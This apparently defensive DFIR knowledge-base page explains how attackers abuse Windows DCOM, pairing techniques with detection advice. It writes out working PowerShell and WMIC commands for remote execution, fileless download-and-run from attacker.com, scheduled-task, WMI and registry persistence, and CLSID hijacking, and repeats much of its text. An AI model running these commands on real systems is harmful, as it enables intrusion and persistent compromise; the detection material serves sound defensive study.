Distributed Component Object Model (DCOM)

What is DCOM ?

The Distributed Component Object Model (DCOM) is an extension of Microsoft’s Component Object Model (COM) that enables communication between COM objects on different machines over a network. DCOM facilitates distributed computing, allowing applications to access components remotely as if they were local.

DCOM is a key technology in Windows, providing the backbone for distributed services like file sharing, printing, and enterprise applications. Despite its legitimate purposes, attackers can exploit DCOM for lateral movement, persistence, and evasion in compromised environments.

Key Features of DCOM

Remote Communication:
- Allows a client application to interact with COM objects on a remote machine.
Transport Protocols:
- Uses protocols like Remote Procedure Call (RPC) over TCP/IP for communication.
- Architecture: Builds on COM but adds network protocols (such as TCP/IP or HTTP) to enable remote communication. DCOM handles the serialization and marshaling of data between objects on different systems.
Security Features:
- Implements authentication and authorization to control access to objects.
- Relies on Windows security mechanisms like NTLM and Kerberos.
Registry-Based Configuration:
- DCOM settings, such as object permissions and network protocols, are configured in the Windows Registry or via tools like dcomcnfg

what is the difference between COM and DCOM :

Lets try to break down more

DCOM (Distributed Component Object Model) is like a "remote control" for software. It lets one computer tell another computer, "Hey, do this task for me."
DCOM uses objects—pre-built software components that provide specific functionality. For example:
- The Excel.Application object can tell Excel to open a file or run a macro.
- The ShellWindows object can control file explorer windows.

How it works

Real-Life Example:

Requesting a COM Object:
- A program (e.g., explorer.exe) wants to interact with the file system, so it requests the COM object Shell.Application.
Registry Lookup:
- Windows finds the Shell.Application CLSID and its InprocServer32 key, which points to shell32.dll.
DLL Loaded:
- shell32.dll is loaded into explorer.exe's memory.
Object Created:
- Windows calls a function in shell32.dll to create the Shell.Application COM object.
- The object is instantiated and returned to explorer.exe.
Interaction:
- explorer.exe uses the object's methods (e.g., to open a folder, copy a file, etc.)

Tools and Techniques Used :

Living-off-the-land binaries (LOLBins):
- Attackers can abuse legitimate DCOM-enabled applications (e.g., MS Word, Excel) to execute payloads.
PowerShell/WMIC:
- Example: Using PowerShell scripts or WMIC commands to invoke DCOM objects remotely.
Penetration Testing Frameworks:
- Cobalt Strike, Empire: These frameworks include modules to abuse DCOM for lateral movement.
Mimikatz/SharpCOM:
- These tools may be used to enumerate and exploit DCOM interfaces for credential harvesting or privilege escalation

When Would an Attacker Use DCOM Over Other Methods ?

Common Ways Attackers Abuse DCOM :

lets see first

1. Lateral Movement

Attackers can execute commands or launch applications on remote systems by abusing DCOM interfaces, such as invoking objects like MMC20.Application, ShellWindows, or Excel.Application.
Example: Using tools like PowerShell or frameworks like Cobalt Strike, attackers can execute remote code via DCOM objects.

Key Points for Using DCOM Post-Lateral Movement

Command Execution on the Target Without Direct Login
- Using DCOM, the attacker doesn’t need to log in interactively to the remote system (e.g., via RDP or SSH).
- This minimizes the chance of triggering monitoring tools that flag direct logins or new session creation.

1. Abusing DCOM for Lateral Movement

Example: Using Excel.Application DCOM Object

Commonly abused objects:

MMC20.Application: Executes management tasks.
ShellWindows: Interacts with file explorer and runs commands.

Attackers can execute commands remotely by leveraging the Excel.Application DCOM object. Below is a step-by-step demonstration using PowerShell:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", " IP TARGET_MACHINE"))
$com.Visible = $true
$com.ExecuteExcel4Macro("shell(\"cmd /c calc.exe\")")

Explanation:

The Excel.Application object is instantiated on the remote machine (TARGET_MACHINE).
A macro is executed to launch calc.exe on the target system.
This method can be replaced with a malicious payload instead of launching a calculator.

Here is the video explaining , How the attacker can do Lateral Movement via DCOM

Explanation:

File Placement: Copying malicious executables (calc.exe) to remote systems to later execute them. In this example, the renamed foxprow.exe could be executed remotely for malicious purposes.

remote COM Instantiation: Activating COM objects like Excel.Application on a remote system via DCOM enables attackers to execute commands or scripts

How to Detect Lateral Movement via DCOM

Indicators of Compromise (IoCs):

Use of specific DCOM objects for remote execution (e.g., MMC20.Application, Schedule.Service, Shell.Application).
Connections from unusual or unauthorized machines.
Execution of commands on remote hosts without using typical administrative tools (e.g., psexec, WinRM).

Event Log Analysis

DCOM Events in the System Logs: Look for suspicious DCOM activation events:
- Event ID 10000 (DistributedCOM): Indicates that a DCOM object was activated.
- Event ID 10006 (DistributedCOM): Indicates a failure to activate a DCOM object, which might show an attacker probing.
- Event ID 10028 (DistributedCOM): Indicates a remote activation attempt, which could signal lateral movement.
Example Query in Windows Event Viewer:
```
vbnetCopy codeEvent ID: 10000
Source: DistributedCOM
Description: Activation of DCOM object {CLSID} from remote host X.X.X.X.
```

Monitor Sysmon logs for process creation on remote systems triggered by DCOM activity. Relevant Sysmon Event IDs:

Sysmon Event ID 1: Process creation. Look for processes created with remote DCOM-related parent processes.
Sysmon Event ID 11: File creation. Check for creation of unusual payloads or scripts.

Command and Execution Patterns

Use PowerShell logs (Event IDs 4104 and 4103) to detect commands like:

powershellCopy code$instance = [Activator]::CreateInstance([type]::GetTypeFromProgID("Schedule.Service", "target_

Network Traffic Monitoring

Look for DCOM-related traffic on port 135 (RPC Endpoint Mapper) and high ephemeral ports (used by RPC/DCOM communication).
Unusual network traffic between endpoints, especially between systems that don’t typically interact.
Tools for Network Monitoring:
- Use Wireshark to capture and filter traffic for DCOM:
  tcp.port == 135

3. Fileless Malware Using DCOM

Attackers use DCOM objects to execute payloads directly in memory, bypassing disk-based antivirus tools. Why Fileless ? Nothing gets written to disk, so antivirus tools don’t see it

Example: ShellWindows DCOM Abuse

Command:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("ShellWindows", "TARGET_MACHINE"))
$com.Document.Application.ShellExecute("powershell.exe", "-c IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/malicious.ps1')")

Explanation:

The ShellWindows DCOM object is abused to invoke PowerShell on the target machine.
The payload is downloaded and executed directly in memory, leaving minimal traces.

3.Malware Abusing DCOM

Case: The Emotet malware family has used DCOM objects to propagate laterally in Windows environments.
Technique: It leveraged Outlook.Application and Excel.Application objects to execute malicious macros and distribute itself across systems

2. Remote Code Execution (RCE)

Vulnerabilities in DCOM can allow attackers to execute arbitrary code on a target system remotely. For example:
- CVE-2021-26414: A security bypass vulnerability in DCOM.
Attackers exploit these vulnerabilities to gain unauthorized access and execute malicious payloads.

Using WMIC for DCOM Remote Execution

Example: Launching a Remote Process via WMIC

WMIC (Windows Management Instrumentation Command-line) can leverage DCOM for remote command execution.

Command:

wmic /node:"TARGET_MACHINE" /user:"TARGET_USER" /password:"TARGET_PASS" process call create "cmd.exe /calc.exe"

Explanation:

The wmic command creates a new process (cmd.exe) on the remote machine using DCOM.
This method is often used to execute malicious payloads

How to Detect Remote Code Execution via DCOM

Indicators of Compromise (IoCs):

Invocation of COM objects remotely using CLSIDs.
Use of DCOM to execute commands like cmd.exe or powershell.exe on remote systems.
Use of methods like ExecuteShellCommand or RegisterTaskDefinition

Registry Analysis for Malicious COM Configurations

Malicious modification of CLSIDs or AppIDs in the registry. Key locations to monitor:
- HKCR:\CLSID\{CLSID}
- HKCR:\AppID\{AppID}
- HKLM:\SOFTWARE\Classes\CLSID\{CLSID}
Look for:
- Malicious DLLs specified in InprocServer32.
- Misconfigured or maliciously modified DCOM permissions.
Event Log Analysis
Event ID 13 ( Registry Event Value Set ) : Indicates Registry value modifications.
Event ID 12 ( Registry Event Object create and delete ) : Indicates key and value create and delete operations map to this event type
Event ID 4663 ( An attempt was made to access an object) .: Indicates a process attempt to acess a object could be a file or registry object or specific operation was performed on an object. The object could be a file system, kernel, or registry object, or a file system object
Event ID 4688 (Process Creation): Look for processes created remotely via DCOM. For example:
- Command line: cmd.exe /c calc.exe or PowerShell scripts

Process Monitoring

Look for suspicious processes spawned by DCOM-related parent processes. For example:
- Parent Process: dllhost.exe, mmc.exe, or wscript.exe.
- Child Process: cmd.exe or powershell.exe with unusual arguments.

Example splunk Query:

index=sysmon EventCode=1 ParentImage="*dllhost.exe" 
| search Image="*cmd.exe" OR Image="*powershell.exe"
| table _time, ComputerName, User, ParentImage, CommandLine

3.How Attackers Use DCOM for Persistence

Persistence refers to the ability of attackers to maintain access to a compromised system even after reboots or other remediation efforts. DCOM objects are powerful because they allow attackers to embed malicious actions into legitimate system components, making detection harder.

1. Scheduled Task Creation

Attackers can use the Schedule.Service COM object to create persistent tasks that run malicious scripts or executables at specific times or events (like system startup). This doesn't require direct use of tools like schtasks.exe, which might trigger alerts

Example:

$instance = [Activator]::CreateInstance([type]::GetTypeFromProgID("Schedule.Service"))
$folder = $instance.GetFolder("\")
$task = $folder.NewTask(0)

$trigger = $task.Triggers.Create(1)  # 1: At Logon Trigger
$trigger.StartBoundary = (Get-Date).AddMinutes(1).ToString("yyyy-MM-ddTHH:mm:ss")

$action = $task.Actions.Create(0)   # 0: Execute an action
$action.Path = "cmd.exe"
$action.Arguments = "/c start powershell -Command 'Invoke-WebRequest -Uri http://malicious.com/payload.exe -OutFile payload.exe; ./payload.exe'"

$folder.RegisterTaskDefinition("MaliciousTask", $task, 6, "", "", 3)

Persistence Mechanism: The task will execute after a user logs in or based on a scheduled time.

Here a real scenario

In this scenario once the attacker has established a foothold on a machine that has Microsoft Office installed. First, develop a PowerShell script that initializes an instance of the Excel.Application objectvia DCOM and invokes the ActivateMicrosoftApp() method on the localhost. Then, create a scheduled task configured to run at specific intervals, which will execute the PowerShell script we created. Ultimately, ensure that FOXPROW.exe is placed within the system PATH and wait for the scheduled task to execute

PS C:\Users\User\Desktop> cat .\ExcelPersistence.ps1
$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","localhost"))
$com.ActivateMicrosoftApp("5")

PS C:\Users\User\Desktop> copy C:\windows\system32\calc.exe C:\Users\user\AppData\Local\Microsoft\WindowsApps\foxprow.exe

PS C:\Users\User\Desktop> schtasks /create /tn ExcelPersistence /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'C:\users\user\desktop\ExcelPersistence.ps1'" /sc onidle /i 5

PS C:\Users\User\Desktop> schtasks.exe /run /tn ExcelPersistence

Explanation :

This script demonstrates a scenario where a user creates persistence using a malicious script executed through Excel COM objects and Windows Task Scheduler. Let’s break it down step by step.

Initializing Excel COM Object by creating an instance of the Excel.Application COM object.
The ActivateMicrosoftApp("5") method : activates an Excel-related application. Code 5 corresponds to Microsoft Word.
Copying a Malicious File : Copies calc.exe (a legitimate Windows Calculator application) to a new location but renames it to foxprow.exe
Creating a Scheduled Task by Creating a scheduled task named ExcelPersistence then The task runs PowerShell (powershell.exe) then The PowerShell script to execute is ExcelPersistence.ps1, located on the desktop then The task triggers after the system has been idle for 5 minutes (/sc onidle /i 5).
Running the Scheduled Task

2. WMI and COM Persistence

Attackers use WMI (Windows Management Instrumentation) with COM objects to create event subscriptions that trigger malicious code execution when certain conditions are met.

Example: Using a WMI event filter with COM:

powershellCopy code$WmiNamespace = "root\subscription"
$EventFilter = [wmiclass]"$WmiNamespace:__EventFilter"
$Filter = $EventFilter.CreateInstance()
$Filter.Name = "PersistentEvent"
$Filter.QueryLanguage = "WQL"
$Filter.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process'"
$Filter.Put()

$ActiveScript = [wmiclass]"$WmiNamespace:ActiveScriptEventConsumer"
$Consumer = $ActiveScript.CreateInstance()
$Consumer.Name = "MaliciousScript"
$Consumer.ScriptingEngine = "VBScript"
$Consumer.ScriptText = "CreateObject('Wscript.Shell').Run('cmd.exe /c calc.exe')"
$Consumer.Put()

$Binding = [wmiclass]"$WmiNamespace:__FilterToConsumerBinding"
$Binding.InstanceId = "Binding1"
$Binding.Filter = $Filter.Path
$Binding.Consumer = $Consumer.Path
$Binding.Put()

Persistence Mechanism: The event will trigger whenever a process is created, and the malicious action will execute.

3. Registry Manipulation via COM

COM objects can be used to modify the Windows registry stealthily. Attackers may:

Add entries to HKCU\Software\Microsoft\Windows\CurrentVersion\Run or HKLM\...\Run for persistence.

Example: Using the Windows.Management.Automation COM object:

powershellCopy code$Shell = New-Object -ComObject "WScript.Shell"
$RegKey = $Shell.RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MaliciousEntry", "powershell.exe -ExecutionPolicy Bypass -File C:\malicious.ps1", "REG_SZ")

Persistence Mechanism: The script will execute every time the user logs in.

4. Malicious DLL Loading via COM Objects

Attackers may configure COM objects to load malicious DLLs when invoked by legitimate applications. This is achieved by modifying the AppID or CLSID registry entries of a COM object.

Example: Modifying the CLSID registry to point to a malicious DLL:

powershellCopy codeSet-ItemProperty -Path "HKCR:\CLSID\{CLSID}\InprocServer32" -Name "(Default)" -Value "C:\malicious.dll"

Persistence Mechanism: The malicious DLL will be loaded every time the COM object is invoked

5. Startup Entries via DCOM Interfaces

Some DCOM interfaces, like Shell.Application or WMI, allow attackers to interact with the startup folder or processes indirectly.

Example: Using Shell.Application to copy a payload to the Startup folder:

powershellCopy code$Shell = New-Object -ComObject "Shell.Application"
$Startup = $Shell.Namespace(0x7)  # Startup folder
$Startup.CopyHere("C:\malicious.exe")

Persistence Mechanism: The executable will run every time the system starts

How To Detect persistence using DCOM

Indicators of Compromise (IoCs):

Scheduled Task Creation: Using COM objects such as Schedule.Service to register tasks persistently.
Malicious CLSIDs or AppIDs: Modified or newly added entries in the registry.
Abuse of Known DCOM Objects:
- Objects like Shell.Application, MMC20.Application, or others being invoked for persistence

Monitor Scheduled Task Creation via DCOM

Event Log Analysis

Look for events indicating scheduled task creation:
- Event ID 4698 (Scheduled Task Created): Indicates a task was registered.
- Event ID 4700 (Scheduled Task Enabled): Indicates a task was enabled.
- Event ID 4701 (Scheduled Task Updated): Indicates a task was modified.
- Event ID 1 (Process Creation)
  - Detect child processes spawned by DCOM host processes like dllhost.exe

Monitor DCOM Object Usage for Task Scheduler via Power shell

Look for PowerShell Event Code 4104 and 4103 in order to find scripts that were used and tools such as wmic...... or scripts invoking Schedule.Service to create tasks. ]

Monitor Registry Modifications for DCOM Persistence

Detect Changes in CLSID/AppID Entries

Registry Paths to Monitor:
- HKCR:\CLSID\{GUID}\InprocServer32
- HKCR:\AppID\{GUID}
- HKCU:\Software\Classes\CLSID\{GUID}
- HKLM:\Software\Classes\CLSID\{GUID}
Registry Event IDs
- Event ID 4657 (Registry Value Modified)
- Event ID 13 ( Registry Event Value Set ) : Indicates Registry value modifications.
- Event ID 12 ( Registry Event Object create and delete ) : Indicates key and value create and delete operations map to this event type
- Event ID 4663 ( An attempt was made to access an object) : Indicates a process attempt to access a object could be a file or registry object
- Event ID 4662 ( An operation was performed on an object ) : Indicates a operation was preformed on object could be file or registry

Key Indicators of DCOM Abuse in Memory

Suspicious Processes Hosting COM Objects

DCOM-related abuse typically uses legitimate processes like:

dllhost.exe
explorer.exe
svchost.exe
mmc.exe

Memory Indicators:

Abnormal child processes spawned by these host processes.
Loaded modules (DLLs) that are not usually associated with the process.
In-memory execution of malicious payloads (e.g., PowerShell scripts or encoded commands).

Analyze Loaded Modules:

Look for suspicious DLLs in processes that host DCOM objects (dllhost.exe, etc.).
Malicious DLLs might not match their expected file path or might be unnamed.
Common Indicators:
- Modules loaded from unusual locations (e.g., %TEMP% or %APPDATA%).
- Modules with no digital signature.
- Modules with abnormal names or GUIDs (linked to CLSIDs)

Detect In-Memory PowerShell or Shell Commands

Fileless malware using DCOM often executes PowerShell or shell commands in memory without writing to disk.

Detection Steps:

Analyze Command History:
- Check memory for encoded or obfuscated PowerShell commands.
- Look for /c or /k arguments in shell commands.
- Examine script block logs or execution traces in memory.
Suspicious Commands:
- Commands starting with powershell -EncodedCommand.
- Base64-encoded payloads or scripts.
- Connections to remote hosts or downloading scripts.

List Active COM Objects:
- Extract the list of CLSIDs registered to processes in memory.
- Check for anomalous or unexpected CLSIDs.
Look for Abused CLSIDs:
- MMC20.Application (for executing commands).
- Shell.Application (for lateral movement or shell commands).
- Schedule.Service (for task scheduling abuse)

Use memory analysis tools to detect signs of DCOM abuse in memory:

Tools and Techniques:

Volatility3 Framework:

1.List DLLs Loaded by Processes:

Plugin: dlllist – List DLLs loaded in suspicious processes.
Plugin: cmdscan or consoles – Find in-memory shell commands.
Plugin: handles – Check for COM object handles (CLSID) or abnormal RPC handles.

Example: Detect abnormal DLLs in dllhost.exe:

vol.py -f memory.dmp  windows.dlllist | grep dllhost.exe

Focus on processes like:

dllhost.exe
explorer.exe
svchost.exe
mmc.exe
Why These Processes?
These processes are often targeted because:
1. Legitimacy: These are legitimate, trusted Windows processes, reducing the likelihood of raising immediate suspicion.
2. COM and DCOM Interactions: They are heavily involved in the operation of COM objects, making them attractive for DCOM abuse
3. Those processes (dllhost.exe, explorer.exe, svchost.exe, and mmc.exe) host and interact with COM and DCOM objects

Search for Handles Linked to CLSIDs:

Use the handles plugin to look for Type: Key entries related to CLSIDs.

vol.py-f memory.dmp  windows.handles

Look for COM-related handles in processes known to abuse DCOM (e.g., dllhost.exe or mmc.exe).

Detect in-memory PowerShell scripts:
```
vol.py -f memory.dmp  windows.cmdscan
```

4. Inspect CLSIDs in Memory:

Use the strings command to search for CLSIDs directly in memory.

strings memory.dmp | grep -i "{CLSID}"

Replace {CLSID} with specific CLSIDs like:
- {F971F7A7-530D-4D59-9F98-7E0092ECA3C5} (Shell.Application)
- {0F87369F-A4E5-4CFC-BD3E-73E6154572DD} (Schedule.Service)
- {DAB807E5-6D8C-4A8C-907D-49A0E6B1EFC3} (Remote COM for tasks).

Extract CLSID References in Processes:

Use Volatility's procdump plugin to dump memory of processes like dllhost.exe or mmc.exe.

vol.py -f memory.dmp --profile=<profile> procdump -p <pid> -D output/

Analyze the dumped memory for strings containing CLSIDs using:
```
bashCopy codestrings output/<process>.dmp | grep -i "{"
```
Look for Specific Abused CLSIDs:
- Search for known abusive CLSIDs in memory dumps:
  - {F971F7A7-530D-4D59-9F98-7E0092ECA3C5} – Shell.Application (lateral movement).
  - {0F87369F-A4E5-4CFC-BD3E-73E6154572DD} – Schedule.Service (task scheduling).
  - {49B2791A-B1AE-4C90-9B8E-E860BA07F889} – WMI-related COM

PreviousKey Email Headers for SOC Analysts and DFIR Nextlegitimate Windows processes

Last updated 5 months ago

Distributed Component Object Model (DCOM)

What is DCOM ?

Key Features of DCOM

Remote Communication:
- Allows a client application to interact with COM objects on a remote machine.
Transport Protocols:
- Uses protocols like Remote Procedure Call (RPC) over TCP/IP for communication.
- Architecture: Builds on COM but adds network protocols (such as TCP/IP or HTTP) to enable remote communication. DCOM handles the serialization and marshaling of data between objects on different systems.
Security Features:
- Implements authentication and authorization to control access to objects.
- Relies on Windows security mechanisms like NTLM and Kerberos.
Registry-Based Configuration:
- DCOM settings, such as object permissions and network protocols, are configured in the Windows Registry or via tools like dcomcnfg

what is the difference between COM and DCOM :

Lets try to break down more

DCOM (Distributed Component Object Model) is like a "remote control" for software. It lets one computer tell another computer, "Hey, do this task for me."
DCOM uses objects—pre-built software components that provide specific functionality. For example:
- The Excel.Application object can tell Excel to open a file or run a macro.
- The ShellWindows object can control file explorer windows.

How it works

Real-Life Example:

Requesting a COM Object:
- A program (e.g., explorer.exe) wants to interact with the file system, so it requests the COM object Shell.Application.
Registry Lookup:
- Windows finds the Shell.Application CLSID and its InprocServer32 key, which points to shell32.dll.
DLL Loaded:
- shell32.dll is loaded into explorer.exe's memory.
Object Created:
- Windows calls a function in shell32.dll to create the Shell.Application COM object.
- The object is instantiated and returned to explorer.exe.
Interaction:
- explorer.exe uses the object's methods (e.g., to open a folder, copy a file, etc.)

Tools and Techniques Used :

Living-off-the-land binaries (LOLBins):
- Attackers can abuse legitimate DCOM-enabled applications (e.g., MS Word, Excel) to execute payloads.
PowerShell/WMIC:
- Example: Using PowerShell scripts or WMIC commands to invoke DCOM objects remotely.
Penetration Testing Frameworks:
- Cobalt Strike, Empire: These frameworks include modules to abuse DCOM for lateral movement.
Mimikatz/SharpCOM:
- These tools may be used to enumerate and exploit DCOM interfaces for credential harvesting or privilege escalation

When Would an Attacker Use DCOM Over Other Methods ?

Common Ways Attackers Abuse DCOM :

lets see first

1. Lateral Movement

Attackers can execute commands or launch applications on remote systems by abusing DCOM interfaces, such as invoking objects like MMC20.Application, ShellWindows, or Excel.Application.
Example: Using tools like PowerShell or frameworks like Cobalt Strike, attackers can execute remote code via DCOM objects.

Key Points for Using DCOM Post-Lateral Movement

Command Execution on the Target Without Direct Login
- Using DCOM, the attacker doesn’t need to log in interactively to the remote system (e.g., via RDP or SSH).
- This minimizes the chance of triggering monitoring tools that flag direct logins or new session creation.

1. Abusing DCOM for Lateral Movement

Example: Using Excel.Application DCOM Object

Commonly abused objects:

MMC20.Application: Executes management tasks.
ShellWindows: Interacts with file explorer and runs commands.

Attackers can execute commands remotely by leveraging the Excel.Application DCOM object. Below is a step-by-step demonstration using PowerShell:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", " IP TARGET_MACHINE"))
$com.Visible = $true
$com.ExecuteExcel4Macro("shell(\"cmd /c calc.exe\")")

Explanation:

The Excel.Application object is instantiated on the remote machine (TARGET_MACHINE).
A macro is executed to launch calc.exe on the target system.
This method can be replaced with a malicious payload instead of launching a calculator.

Here is the video explaining , How the attacker can do Lateral Movement via DCOM

Explanation:

File Placement: Copying malicious executables (calc.exe) to remote systems to later execute them. In this example, the renamed foxprow.exe could be executed remotely for malicious purposes.

remote COM Instantiation: Activating COM objects like Excel.Application on a remote system via DCOM enables attackers to execute commands or scripts

How to Detect Lateral Movement via DCOM

Indicators of Compromise (IoCs):

Use of specific DCOM objects for remote execution (e.g., MMC20.Application, Schedule.Service, Shell.Application).
Connections from unusual or unauthorized machines.
Execution of commands on remote hosts without using typical administrative tools (e.g., psexec, WinRM).

Event Log Analysis

DCOM Events in the System Logs: Look for suspicious DCOM activation events:
- Event ID 10000 (DistributedCOM): Indicates that a DCOM object was activated.
- Event ID 10006 (DistributedCOM): Indicates a failure to activate a DCOM object, which might show an attacker probing.
- Event ID 10028 (DistributedCOM): Indicates a remote activation attempt, which could signal lateral movement.
Example Query in Windows Event Viewer:
```
vbnetCopy codeEvent ID: 10000
Source: DistributedCOM
Description: Activation of DCOM object {CLSID} from remote host X.X.X.X.
```

Monitor Sysmon logs for process creation on remote systems triggered by DCOM activity. Relevant Sysmon Event IDs:

Sysmon Event ID 1: Process creation. Look for processes created with remote DCOM-related parent processes.
Sysmon Event ID 11: File creation. Check for creation of unusual payloads or scripts.

Command and Execution Patterns

Use PowerShell logs (Event IDs 4104 and 4103) to detect commands like:

powershellCopy code$instance = [Activator]::CreateInstance([type]::GetTypeFromProgID("Schedule.Service", "target_

Network Traffic Monitoring

Look for DCOM-related traffic on port 135 (RPC Endpoint Mapper) and high ephemeral ports (used by RPC/DCOM communication).
Unusual network traffic between endpoints, especially between systems that don’t typically interact.
Tools for Network Monitoring:
- Use Wireshark to capture and filter traffic for DCOM:
  tcp.port == 135

3. Fileless Malware Using DCOM

Attackers use DCOM objects to execute payloads directly in memory, bypassing disk-based antivirus tools. Why Fileless ? Nothing gets written to disk, so antivirus tools don’t see it

Example: ShellWindows DCOM Abuse

Command:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("ShellWindows", "TARGET_MACHINE"))
$com.Document.Application.ShellExecute("powershell.exe", "-c IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/malicious.ps1')")

Explanation:

The ShellWindows DCOM object is abused to invoke PowerShell on the target machine.
The payload is downloaded and executed directly in memory, leaving minimal traces.

3.Malware Abusing DCOM

Case: The Emotet malware family has used DCOM objects to propagate laterally in Windows environments.
Technique: It leveraged Outlook.Application and Excel.Application objects to execute malicious macros and distribute itself across systems

2. Remote Code Execution (RCE)

Vulnerabilities in DCOM can allow attackers to execute arbitrary code on a target system remotely. For example:
- CVE-2021-26414: A security bypass vulnerability in DCOM.
Attackers exploit these vulnerabilities to gain unauthorized access and execute malicious payloads.

Using WMIC for DCOM Remote Execution

Example: Launching a Remote Process via WMIC

WMIC (Windows Management Instrumentation Command-line) can leverage DCOM for remote command execution.

Command:

wmic /node:"TARGET_MACHINE" /user:"TARGET_USER" /password:"TARGET_PASS" process call create "cmd.exe /calc.exe"

Explanation:

The wmic command creates a new process (cmd.exe) on the remote machine using DCOM.
This method is often used to execute malicious payloads

How to Detect Remote Code Execution via DCOM

Indicators of Compromise (IoCs):

Invocation of COM objects remotely using CLSIDs.
Use of DCOM to execute commands like cmd.exe or powershell.exe on remote systems.
Use of methods like ExecuteShellCommand or RegisterTaskDefinition

Registry Analysis for Malicious COM Configurations

Malicious modification of CLSIDs or AppIDs in the registry. Key locations to monitor:
- HKCR:\CLSID\{CLSID}
- HKCR:\AppID\{AppID}
- HKLM:\SOFTWARE\Classes\CLSID\{CLSID}
Look for:
- Malicious DLLs specified in InprocServer32.
- Misconfigured or maliciously modified DCOM permissions.
Event Log Analysis
Event ID 13 ( Registry Event Value Set ) : Indicates Registry value modifications.
Event ID 12 ( Registry Event Object create and delete ) : Indicates key and value create and delete operations map to this event type
Event ID 4663 ( An attempt was made to access an object) .: Indicates a process attempt to acess a object could be a file or registry object or specific operation was performed on an object. The object could be a file system, kernel, or registry object, or a file system object
Event ID 4688 (Process Creation): Look for processes created remotely via DCOM. For example:
- Command line: cmd.exe /c calc.exe or PowerShell scripts

Process Monitoring

Look for suspicious processes spawned by DCOM-related parent processes. For example:
- Parent Process: dllhost.exe, mmc.exe, or wscript.exe.
- Child Process: cmd.exe or powershell.exe with unusual arguments.

Example splunk Query:

index=sysmon EventCode=1 ParentImage="*dllhost.exe" 
| search Image="*cmd.exe" OR Image="*powershell.exe"
| table _time, ComputerName, User, ParentImage, CommandLine

3.How Attackers Use DCOM for Persistence

1. Scheduled Task Creation

Example:

$instance = [Activator]::CreateInstance([type]::GetTypeFromProgID("Schedule.Service"))
$folder = $instance.GetFolder("\")
$task = $folder.NewTask(0)

$trigger = $task.Triggers.Create(1)  # 1: At Logon Trigger
$trigger.StartBoundary = (Get-Date).AddMinutes(1).ToString("yyyy-MM-ddTHH:mm:ss")

$action = $task.Actions.Create(0)   # 0: Execute an action
$action.Path = "cmd.exe"
$action.Arguments = "/c start powershell -Command 'Invoke-WebRequest -Uri http://malicious.com/payload.exe -OutFile payload.exe; ./payload.exe'"

$folder.RegisterTaskDefinition("MaliciousTask", $task, 6, "", "", 3)

Persistence Mechanism: The task will execute after a user logs in or based on a scheduled time.

Here a real scenario

PS C:\Users\User\Desktop> cat .\ExcelPersistence.ps1
$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","localhost"))
$com.ActivateMicrosoftApp("5")

PS C:\Users\User\Desktop> copy C:\windows\system32\calc.exe C:\Users\user\AppData\Local\Microsoft\WindowsApps\foxprow.exe

PS C:\Users\User\Desktop> schtasks /create /tn ExcelPersistence /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'C:\users\user\desktop\ExcelPersistence.ps1'" /sc onidle /i 5

PS C:\Users\User\Desktop> schtasks.exe /run /tn ExcelPersistence

Explanation :

Initializing Excel COM Object by creating an instance of the Excel.Application COM object.
The ActivateMicrosoftApp("5") method : activates an Excel-related application. Code 5 corresponds to Microsoft Word.
Copying a Malicious File : Copies calc.exe (a legitimate Windows Calculator application) to a new location but renames it to foxprow.exe
Creating a Scheduled Task by Creating a scheduled task named ExcelPersistence then The task runs PowerShell (powershell.exe) then The PowerShell script to execute is ExcelPersistence.ps1, located on the desktop then The task triggers after the system has been idle for 5 minutes (/sc onidle /i 5).
Running the Scheduled Task

2. WMI and COM Persistence

Attackers use WMI (Windows Management Instrumentation) with COM objects to create event subscriptions that trigger malicious code execution when certain conditions are met.

Example: Using a WMI event filter with COM:

powershellCopy code$WmiNamespace = "root\subscription"
$EventFilter = [wmiclass]"$WmiNamespace:__EventFilter"
$Filter = $EventFilter.CreateInstance()
$Filter.Name = "PersistentEvent"
$Filter.QueryLanguage = "WQL"
$Filter.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process'"
$Filter.Put()

$ActiveScript = [wmiclass]"$WmiNamespace:ActiveScriptEventConsumer"
$Consumer = $ActiveScript.CreateInstance()
$Consumer.Name = "MaliciousScript"
$Consumer.ScriptingEngine = "VBScript"
$Consumer.ScriptText = "CreateObject('Wscript.Shell').Run('cmd.exe /c calc.exe')"
$Consumer.Put()

$Binding = [wmiclass]"$WmiNamespace:__FilterToConsumerBinding"
$Binding.InstanceId = "Binding1"
$Binding.Filter = $Filter.Path
$Binding.Consumer = $Consumer.Path
$Binding.Put()

Persistence Mechanism: The event will trigger whenever a process is created, and the malicious action will execute.

3. Registry Manipulation via COM

COM objects can be used to modify the Windows registry stealthily. Attackers may:

Add entries to HKCU\Software\Microsoft\Windows\CurrentVersion\Run or HKLM\...\Run for persistence.

Example: Using the Windows.Management.Automation COM object:

powershellCopy code$Shell = New-Object -ComObject "WScript.Shell"
$RegKey = $Shell.RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MaliciousEntry", "powershell.exe -ExecutionPolicy Bypass -File C:\malicious.ps1", "REG_SZ")

Persistence Mechanism: The script will execute every time the user logs in.

4. Malicious DLL Loading via COM Objects

Attackers may configure COM objects to load malicious DLLs when invoked by legitimate applications. This is achieved by modifying the AppID or CLSID registry entries of a COM object.

Example: Modifying the CLSID registry to point to a malicious DLL:

powershellCopy codeSet-ItemProperty -Path "HKCR:\CLSID\{CLSID}\InprocServer32" -Name "(Default)" -Value "C:\malicious.dll"

Persistence Mechanism: The malicious DLL will be loaded every time the COM object is invoked

5. Startup Entries via DCOM Interfaces

Some DCOM interfaces, like Shell.Application or WMI, allow attackers to interact with the startup folder or processes indirectly.

Example: Using Shell.Application to copy a payload to the Startup folder:

powershellCopy code$Shell = New-Object -ComObject "Shell.Application"
